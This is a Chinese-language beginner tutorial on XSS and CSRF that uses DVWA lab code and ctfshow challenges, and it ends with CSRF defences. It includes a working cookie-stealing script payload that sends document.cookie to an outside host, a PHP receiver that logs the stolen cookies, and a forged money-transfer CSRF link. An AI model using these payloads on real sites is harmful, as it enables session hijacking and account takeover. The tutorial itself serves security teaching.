浅说XSS

简介

跨站脚本是一种针对于前端的代码注入攻击,攻击者将恶意的JavaScript代码注入到过滤不严格的web网页中,当用户游览该网页时,JavaScript代码就会被执行,从而达到恶意攻击的目的。

XSS有三种类型,分别来说说。

反射型XSS

通常情况下,恶意代码参数会注入在URL中,通过用户去点击链接,其中的恶意参数会被HTML解析,执行。非持久的,恶意代码不会注入到服务器中,每次执行都需要用户去点击或者访问。

DVWA靶场设置难度为low,源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

将用户输入与html拼接在一块,此处没有任何过滤,存在XSS。测试反射型XSS通常使用alert函数,

<script>alert('1');</script>

有了反射型XSS究竟能干什么?当然是盗取cookie。在我们的公网ip上写一个接收cookie的php文件,内容如下:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

打开ctfshow平台的XSS题目,输入恶意的JavaScript代码盗取cookie。

<script>document.location="http://xilitter.top/cookie.php?cookie="+document.cookie;</script>

此时,我的服务器上就会生成一个cookie.txt文件。

此时就获取到cookie,得到cookie就可以伪造用户登录了。上面那一行代码怎么获得cookie的?document.location返回一个Location对象,也就是映射一个URL,并且加载跳转到此URL上。document.cookie获取当前文档相关的cookie,拼接到恶意的URL中访问cookie.php,生成cookie.txt。

存储型 XSS

顾名思义,恶意的HTML代码会被存储到服务端的数据库或者文件中,每当用户去访问此页面时,注入的恶意代码就会被执行,持续攻击用户。存储型XSS大多出现在博客的评论当中。

DVWA难度设置为low,源码:

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>

几个函数相关解释:

trim函数 : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格

stripslashes函数: 去除掉string字符的反斜杠\

mysqli_real_escape_string函数 :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

可以发现此代码并没有过滤HTML标签,并且会将我们输出的两个参数存储到数据库中。我们尝试输入

<script>alert(1);</script>

会发现有弹窗,并且每次刷新此网页,就会弹窗,查看一下数据库

恶意JavaScript代码确实被写入到数据库中了。接下来用ctfshow平台的web题演示一下存储型XSS获取管理员cookie。

将此代码注入到服务端中,当管理员访问此页面,就会将管理员cookie带入到我们的服务器上。

其中必有管理员的cookie,替换PHPSESSID就可以访问到管理员页面。

DOM型XSS

什么是DOM?

文档对象模型,是一种处理HTML和XML文件的标准API,提供了大量可用于操作文本内容的对象和方法。HTML文档被解析后,转化为DOM树,因此对HTML文档的处理可以通过对DOM树的操作实现。DOM模型不仅描述了文档的结构,还定义了结点对象的行为,利用对象的方法和属性,可以方便地访问、修改、添加和删除DOM树的结点和内容。

一个简单的节点树

JavaScript可以通过对象模型动态创建修改HTML节点。当JavaScript对DOM树不安全的处理数据时,可能会造成XSS。这种DOM型的XSS不与服务端进行交互,而是直接操作前端的HTML代码来达到攻击的目的。所以这种XSS隐秘性很好,只通过服务端的日志和数据库很难发现它。

继续使用DVWA来演示一下,由于DOM型的XSS不与服务端进行交互,所以源码是前端的JavaScript代码:

if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

检查这个URL中是否存在default参数,如果有,将参数的值添加到DOM树中。很明显,代码没有对用户的输入进行检查,此处存在DOM型的XSS。提交参数:

localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

有弹窗,而且在我们的前端代码中发现提交的JavaScript代码写进DOM树里了。

XSS参考链接:

DOM型的XSS 反射型XSS

XSS综合指南 什么是DOM

浅说CSRF

简介

跨站请求伪造,当用户与被攻击网站持续会话,攻击者诱导受害者去点击攻击者恶意构造的链接,第三方网站向被攻击网站发送跨站请求,此时第三方网站已经获取到了会话凭证,绕过网站用户验证,伪造用户对被攻击网站进行恶意操作。

CSRF攻击流程图:

举个例子,小王登录了一个银行页面并没有关闭,假设该页面的源码为:

<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>

此时攻击者构造一个恶意的链接:

<html>
<a href="http://127.0.0.1/test/1.php?user=hacker&money=1000">点开有惊喜</a>
</html>

当用户忍不住点击,就向被攻击网站发送了请求。

这是用GET方式发送的请求,当然还有POST方式。将上面代码替换为POST即可。POST方式要构造表单,可以利用burp工具来帮咱们完成。我们先访问1.php并赋上值抓包。

选择burp自动生成CSRF的POC模块。

将此代码复制粘贴到攻击者构造的恶意链接中。当用户访问

点击后,恶意请求就发送到被攻击网站。

CSRF防御

Referer验证,Referer字段记录了该HTTP请求的来源地址,限制请求必须来自同一个网站,这么做安全性确实能大大提高,但是没了自由。另外Referer字段也是能够绕过的。

Token验证,CSRF本质上是受害者自己攻击自己。当用户的验证信息都存在Cookie中,通过点击恶意链接,在用户不知情的情况下利用自己的身份凭证绕过了网站用户验证。开发者可以设置一个不能伪造的,随机的token值,在服务端建立一个拦截器来验证token,如果匹配的token不正确,则会拒绝此请求。

CSRF参考链接:

CSRF入门及实战 CSRF的利用

结语

本次文章只是简单的说明了XSS和CSRF的特点以及利用,由于前端代码知识不是很了解,对DOM树操作的API之前也从来没看过,之后补上这些前端知识后,会在此文章上追加相关漏洞CTF题目讲解。

API相关介绍